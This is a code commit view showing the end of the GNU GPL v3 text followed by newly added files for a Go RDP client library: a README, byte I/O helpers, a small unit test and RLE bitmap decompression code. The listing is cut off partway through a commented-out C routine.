non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

29
pkg/grdp/README.md Normal file
View File

@@ -0,0 +1,29 @@
# Golang Remote Desktop Protocol
grdp is a pure Golang implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (**client side authorization only**).
Forked from icodeface/grdp
## Status
**The project is under development and not finished yet.**
* [x] Standard RDP Authentication
* [x] SSL Authentication
* [x] NTLMv2 Authentication
* [ ] Client UI(ugly)
* [ ] VNC client(unfinished)
## Example
1. build in example dir on linux or windows
2. start example on port 8088
3. http://localhost:8088
## Take ideas from
* [rdpy](https://github.com/citronneur/rdpy)
* [node-rdpjs](https://github.com/citronneur/node-rdpjs)
* [gordp](https://github.com/Madnikulin50/gordp)
* [ncrack_rdp](https://github.com/nmap/ncrack/blob/master/modules/ncrack_rdp.cc)
* [webRDP](https://github.com/Chorder/webRDP)

131
pkg/grdp/core/io.go Normal file
View File

@@ -0,0 +1,131 @@
package core
import (
"encoding/binary"
"io"
)
type ReadBytesComplete func(result []byte, err error)
func StartReadBytes(len int, r io.Reader, cb ReadBytesComplete) {
b := make([]byte, len)
go func() {
_, err := io.ReadFull(r, b)
//glog.Debug("StartReadBytes Get", n, "Bytes:", hex.EncodeToString(b))
cb(b, err)
}()
}
func ReadBytes(len int, r io.Reader) ([]byte, error) {
b := make([]byte, len)
length, err := io.ReadFull(r, b)
return b[:length], err
}
func ReadByte(r io.Reader) (byte, error) {
b, err := ReadBytes(1, r)
return b[0], err
}
func ReadUInt8(r io.Reader) (uint8, error) {
b, err := ReadBytes(1, r)
return uint8(b[0]), err
}
func ReadUint16LE(r io.Reader) (uint16, error) {
b := make([]byte, 2)
_, err := io.ReadFull(r, b)
if err != nil {
return 0, nil
}
return binary.LittleEndian.Uint16(b), nil
}
func ReadUint16BE(r io.Reader) (uint16, error) {
b := make([]byte, 2)
_, err := io.ReadFull(r, b)
if err != nil {
return 0, nil
}
return binary.BigEndian.Uint16(b), nil
}
func ReadUInt32LE(r io.Reader) (uint32, error) {
b := make([]byte, 4)
_, err := io.ReadFull(r, b)
if err != nil {
return 0, nil
}
return binary.LittleEndian.Uint32(b), nil
}
func ReadUInt32BE(r io.Reader) (uint32, error) {
b := make([]byte, 4)
_, err := io.ReadFull(r, b)
if err != nil {
return 0, nil
}
return binary.BigEndian.Uint32(b), nil
}
func WriteByte(data byte, w io.Writer) (int, error) {
b := make([]byte, 1)
b[0] = byte(data)
return w.Write(b)
}
func WriteBytes(data []byte, w io.Writer) (int, error) {
return w.Write(data)
}
func WriteUInt8(data uint8, w io.Writer) (int, error) {
b := make([]byte, 1)
b[0] = byte(data)
return w.Write(b)
}
func WriteUInt16BE(data uint16, w io.Writer) (int, error) {
b := make([]byte, 2)
binary.BigEndian.PutUint16(b, data)
return w.Write(b)
}
func WriteUInt16LE(data uint16, w io.Writer) (int, error) {
b := make([]byte, 2)
binary.LittleEndian.PutUint16(b, data)
return w.Write(b)
}
func WriteUInt32LE(data uint32, w io.Writer) (int, error) {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, data)
return w.Write(b)
}
func WriteUInt32BE(data uint32, w io.Writer) (int, error) {
b := make([]byte, 4)
binary.BigEndian.PutUint32(b, data)
return w.Write(b)
}
func PutUint16BE(data uint16) (uint8, uint8) {
b := make([]byte, 2)
binary.BigEndian.PutUint16(b, data)
return uint8(b[0]), uint8(b[1])
}
func Uint16BE(d0, d1 uint8) uint16 {
b := make([]byte, 2)
b[0] = d0
b[1] = d1
return binary.BigEndian.Uint16(b)
}
func RGB565ToRGB(data uint16) (r, g, b uint8) {
r = uint8(uint32(data&0xF800)>>11) << 3
g = uint8(uint32(data&0x07E0)>>5) << 2
b = uint8(uint32(data&0x001F)) << 3
return
}

19
pkg/grdp/core/io_test.go Normal file
View File

@@ -0,0 +1,19 @@
package core_test
import (
"bytes"
"encoding/hex"
"testing"
"Yasso/pkg/grdp/core"
)
func TestWriteUInt16LE(t *testing.T) {
buff := &bytes.Buffer{}
core.WriteUInt32LE(66538, buff)
result := hex.EncodeToString(buff.Bytes())
expected := "ea030100"
if result != expected {
t.Error(result, "not equals to", expected)
}
}

854
pkg/grdp/core/rle.go Normal file
View File

@@ -0,0 +1,854 @@
package core
import (
"Yasso/pkg/grdp/glog"
"unsafe"
)
func CVAL(p *[]uint8) int {
a := int((*p)[0])
*p = (*p)[1:]
return a
}
func CVAL2(p *[]uint8, v *uint16) {
*v = *((*uint16)(unsafe.Pointer(&(*p)[0])))
//*v = binary.BigEndian.Uint16((*p)[0:2])
//fmt.Println("*v:", *v)
*p = (*p)[2:]
}
func REPEAT(f func(), count, x *int, width int) {
for (*count & ^0x7) != 0 && ((*x + 8) < width) {
for i := 0; i < 8; i++ {
f()
*count = *count - 1
*x = *x + 1
}
}
for (*count > 0) && (*x < width) {
f()
*count = *count - 1
*x = *x + 1
}
}
// /* 1 byte bitmap decompress */
// func bitmap_decompress1(uint8 * output, int width, int height, uint8 * input, int size) bool{
// uint8 *end = input + size;
// uint8 *prevline = NULL, *line = NULL;
// int opcode, count, offset, isfillormix, x = width;
// int lastopcode = -1, insertmix = false, bicolour = false;
// uint8 code;
// uint8 colour1 = 0, colour2 = 0;
// uint8 mixmask, mask = 0;
// uint8 mix = 0xff;
// int fom_mask = 0;
// for (input < end){
// fom_mask = 0;
// code = CVAL(input);
// opcode = code >> 4;
// /* Handle different opcode forms */
// switch (opcode){
// case 0xc:
// case 0xd:
// case 0xe:
// opcode -= 6;
// count = code & 0xf;
// offset = 16;
// break;
// case 0xf:
// opcode = code & 0xf;
// if (opcode < 9){
// count = CVAL(input);
// count |= CVAL(input) << 8;
// }else{
// count = (opcode < 0xb) ? 8 : 1;
// }
// offset = 0;
// break;
// default:
// opcode >>= 1;
// count = code & 0x1f;
// offset = 32;
// break;
// }
// /* Handle strange cases for counts */
// if (offset != 0){
// isfillormix = ((opcode == 2) || (opcode == 7));
// if (count == 0){
// if (isfillormix)
// count = CVAL(input) + 1;
// else
// count = CVAL(input) + offset;
// }else if (isfillormix){
// count <<= 3;
// }
// }
// /* Read preliminary data */
// switch (opcode){
// case 0: /* Fill */
// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL))){
// insertmix = true;
// }
// break;
// case 8: /* Bicolour */
// colour1 = CVAL(input);
// case 3: /* Colour */
// colour2 = CVAL(input);
// break;
// case 6: /* SetMix/Mix */
// case 7: /* SetMix/FillOrMix */
// mix = CVAL(input);
// opcode -= 5;
// break;
// case 9: /* FillOrMix_1 */
// mask = 0x03;
// opcode = 0x02;
// fom_mask = 3;
// break;
// case 0x0a: /* FillOrMix_2 */
// mask = 0x05;
// opcode = 0x02;
// fom_mask = 5;
// break;
// }
// lastopcode = opcode;
// mixmask = 0;
// /* Output body */
// for (count > 0){
// if (x >= width){
// if (height <= 0)
// return false;
// x = 0;
// height--;
// prevline = line;
// line = output + height * width;
// }
// switch (opcode){
// case 0: /* Fill */
// if (insertmix){
// if (prevline == NULL)
// line[x] = mix;
// else
// line[x] = prevline[x] ^ mix;
// insertmix = false;
// count--;
// x++;
// }
// if (prevline == NULL){
// REPEAT(line[x] = 0)
// }else{
// REPEAT(line[x] = prevline[x])
// }
// break;
// case 1: /* Mix */
// if (prevline == NULL){
// REPEAT(line[x] = mix)
// }else{
// REPEAT(line[x] = prevline[x] ^ mix)
// }
// break;
// case 2: /* Fill or Mix */
// if (prevline == NULL){
// REPEAT
// (
// MASK_UPDATE();
// if (mask & mixmask)
// line[x] = mix;
// else
// line[x] = 0;
// )
// }else{
// REPEAT
// (
// MASK_UPDATE();
// if (mask & mixmask)
// line[x] = prevline[x] ^ mix;
// else
// line[x] = prevline[x];
// )
// }
// break;
// case 3: /* Colour */
// REPEAT(line[x] = colour2)
// break;
// case 4: /* Copy */
// REPEAT(line[x] = CVAL(input))
// break;
// case 8: /* Bicolour */
// REPEAT
// (
// if (bicolour)
// {
// line[x] = colour2;
// bicolour = false;
// }
// else
// {
// line[x] = colour1;
// bicolour = true; count++;
// }
// )
// break;
// case 0xd: /* White */
// REPEAT(line[x] = 0xff)
// break;
// case 0xe: /* Black */
// REPEAT(line[x] = 0)
// break;
// default:
// fmt.Printf("bitmap opcode 0x%x\n", opcode);
// return false;
// }
// }
// }
// return true;
// }
// /* 2 byte bitmap decompress */
func decompress2(output *[]uint8, width, height int, input []uint8, size int) bool {
var (
prevline, line int
opcode, count, offset, code int
x int = width
lastopcode int = -1
insertmix, bicolour, isfillormix bool
mixmask, mask uint8
colour1, colour2 uint16
mix uint16 = 0xffff
fom_mask uint8
)
out := make([]uint16, width*height)
for len(input) != 0 {
fom_mask = 0
code = CVAL(&input)
opcode = code >> 4
/* Handle different opcode forms */
switch opcode {
case 0xc, 0xd, 0xe:
opcode -= 6
count = code & 0xf
offset = 16
break
case 0xf:
opcode = code & 0xf
if opcode < 9 {
count = CVAL(&input)
count |= CVAL(&input) << 8
} else {
count = 1
if opcode < 0xb {
count = 8
}
}
offset = 0
break
default:
opcode >>= 1
count = code & 0x1f
offset = 32
break
}
/* Handle strange cases for counts */
if offset != 0 {
isfillormix = ((opcode == 2) || (opcode == 7))
if count == 0 {
if isfillormix {
count = CVAL(&input) + 1
} else {
count = CVAL(&input) + offset
}
} else if isfillormix {
count <<= 3
}
}
/* Read preliminary data */
switch opcode {
case 0: /* Fill */
if (lastopcode == opcode) && !((x == width) && (prevline == 0)) {
insertmix = true
}
break
case 8: /* Bicolour */
CVAL2(&input, &colour1)
CVAL2(&input, &colour2)
break
case 3: /* Colour */
CVAL2(&input, &colour2)
break
case 6: /* SetMix/Mix */
fallthrough
case 7: /* SetMix/FillOrMix */
CVAL2(&input, &mix)
opcode -= 5
break
case 9: /* FillOrMix_1 */
mask = 0x03
opcode = 0x02
fom_mask = 3
break
case 0x0a: /* FillOrMix_2 */
mask = 0x05
opcode = 0x02
fom_mask = 5
break
}
lastopcode = opcode
mixmask = 0
/* Output body */
for count > 0 {
if x >= width {
if height <= 0 {
return false
}
x = 0
height--
prevline = line
line = height * width
}
switch opcode {
case 0: /* Fill */
if insertmix {
if prevline == 0 {
out[x+line] = mix
} else {
out[x+line] = out[prevline+x] ^ mix
}
insertmix = false
count--
x++
}
if prevline == 0 {
REPEAT(func() {
out[x+line] = 0
}, &count, &x, width)
} else {
REPEAT(func() {
out[x+line] = out[prevline+x]
}, &count, &x, width)
}
break
case 1: /* Mix */
if prevline == 0 {
REPEAT(func() {
out[x+line] = mix
}, &count, &x, width)
} else {
REPEAT(func() {
out[x+line] = out[prevline+x] ^ mix
}, &count, &x, width)
}
break
case 2: /* Fill or Mix */
if prevline == 0 {
REPEAT(func() {
mixmask <<= 1
if mixmask == 0 {
mask = fom_mask
if fom_mask == 0 {
mask = uint8(CVAL(&input))
mixmask = 1
}
}
if mask&mixmask != 0 {
out[x+line] = mix
} else {
out[x+line] = 0
}
}, &count, &x, width)
} else {
REPEAT(func() {
mixmask = mixmask << 1
if mixmask == 0 {
mask = fom_mask
if fom_mask == 0 {
mask = uint8(CVAL(&input))
mixmask = 1
}
}
if mask&mixmask != 0 {
out[x+line] = out[prevline+x] ^ mix
} else {
out[x+line] = out[prevline+x]
}
}, &count, &x, width)
}
break
case 3: /* Colour */
REPEAT(func() {
out[x+line] = colour2
}, &count, &x, width)
break
case 4: /* Copy */
REPEAT(func() {
var a uint16
CVAL2(&input, &a)
out[x+line] = a
}, &count, &x, width)
break
case 8: /* Bicolour */
REPEAT(func() {
if bicolour {
out[x+line] = colour2
bicolour = false
} else {
out[x+line] = colour1
bicolour = true
count++
}
}, &count, &x, width)
break
case 0xd: /* White */
REPEAT(func() {
out[x+line] = 0xffff
}, &count, &x, width)
break
case 0xe: /* Black */
REPEAT(func() {
out[x+line] = 0
}, &count, &x, width)
break
default:
glog.Infof("bitmap opcode 0x%x\n", opcode)
return false
}
}
}
j := 0
for _, v := range out {
(*output)[j], (*output)[j+1] = PutUint16BE(v)
j += 2
}
return true
}
// /* 3 byte bitmap decompress */
// func bitmap_decompress3(uint8 * output, int width, int height, uint8 * input, int size)bool{
// uint8 *end = input + size;
// uint8 *prevline = NULL, *line = NULL;
// int opcode, count, offset, isfillormix, x = width;
// int lastopcode = -1, insertmix = false, bicolour = false;
// uint8 code;
// uint8 colour1[3] = {0, 0, 0}, colour2[3] = {0, 0, 0};
// uint8 mixmask, mask = 0;
// uint8 mix[3] = {0xff, 0xff, 0xff};
// int fom_mask = 0;
// while (input < end)
// {
// fom_mask = 0;
// code = CVAL(input);
// opcode = code >> 4;
// /* Handle different opcode forms */
// switch (opcode)
// {
// case 0xc:
// case 0xd:
// case 0xe:
// opcode -= 6;
// count = code & 0xf;
// offset = 16;
// break;
// case 0xf:
// opcode = code & 0xf;
// if (opcode < 9)
// {
// count = CVAL(input);
// count |= CVAL(input) << 8;
// }
// else
// {
// count = (opcode <
// 0xb) ? 8 : 1;
// }
// offset = 0;
// break;
// default:
// opcode >>= 1;
// count = code & 0x1f;
// offset = 32;
// break;
// }
// /* Handle strange cases for counts */
// if (offset != 0)
// {
// isfillormix = ((opcode == 2) || (opcode == 7));
// if (count == 0)
// {
// if (isfillormix)
// count = CVAL(input) + 1;
// else
// count = CVAL(input) + offset;
// }
// else if (isfillormix)
// {
// count <<= 3;
// }
// }
// /* Read preliminary data */
// switch (opcode)
// {
// case 0: /* Fill */
// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL)))
// insertmix = true;
// break;
// case 8: /* Bicolour */
// colour1[0] = CVAL(input);
// colour1[1] = CVAL(input);
// colour1[2] = CVAL(input);
// case 3: /* Colour */
// colour2[0] = CVAL(input);
// colour2[1] = CVAL(input);
// colour2[2] = CVAL(input);
// break;
// case 6: /* SetMix/Mix */
// case 7: /* SetMix/FillOrMix */
// mix[0] = CVAL(input);
// mix[1] = CVAL(input);
// mix[2] = CVAL(input);
// opcode -= 5;
// break;
// case 9: /* FillOrMix_1 */
// mask = 0x03;
// opcode = 0x02;
// fom_mask = 3;
// break;
// case 0x0a: /* FillOrMix_2 */
// mask = 0x05;
// opcode = 0x02;
// fom_mask = 5;
// break;
// }
// lastopcode = opcode;
// mixmask = 0;
// /* Output body */
// while (count > 0)
// {
// if (x >= width)
// {
// if (height <= 0)
// return false;
// x = 0;
// height--;
// prevline = line;
// line = output + height * (width * 3);
// }
// switch (opcode)
// {
// case 0: /* Fill */
// if (insertmix)
// {
// if (prevline == NULL)
// {
// line[x * 3] = mix[0];
// line[x * 3 + 1] = mix[1];
// line[x * 3 + 2] = mix[2];
// }
// else
// {
// line[x * 3] =
// prevline[x * 3] ^ mix[0];
// line[x * 3 + 1] =
